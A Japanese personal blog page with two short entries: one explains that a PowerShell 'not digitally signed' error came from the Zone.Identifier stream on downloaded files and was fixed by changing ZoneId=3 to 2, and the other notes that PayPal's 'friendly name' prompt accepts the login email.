http://http.us.debian.org/debian/pool/main/a/abcde/

:Zone.Identifierなるファイル

Powershell で set-executionpolicy remotesigned にしてるのに
「デジタル署名されていません」のエラー。

なんじゃらと思い web を調べると、なんだか windows はネット
ワーク経由で落としてきたファイルの状態を、
「そのファイル名:Zone.Identifier」なる隠しファイル?で管理
しているらしい。
変な仕様...

で、PowerShell のターミナルから notepad コマンドでこの隠し?
ファイルを開くと中身は以下のようになっている。

 [ZoneTransfer]
 ZoneId=3

ZoneId の意味は web で検索すれば山ほど出てくるので省略。

手動で ZoneId=2 にすることで解決。いちいち notepad を起動
して一つずつ修正するのがバカバカしいのだが、まとめてやる
のはどうしたらいいかわからず放置中。sed -i が最強なのだが
お客さんのマシンに cygwin 入れるわけにもいかず、おそらく
powershell で出来るんだろうが、もう win とか powershell
に関わりたくない(既に PowerShell 大嫌い。素直に csh
あたりを標準にしろって>MS)。

2012年1月11日水曜日

ドメインを GoDaddy に移管しようと思って PayPal で支払いしようとしたところ
以下のメッセージがあり何か friendly name なるものを入力させられることにな
っている。

 Please enter in a friendly name to identify this PayPal account:

いろいろ試したところ、PayPal にログインする際のメアドで良いらしい。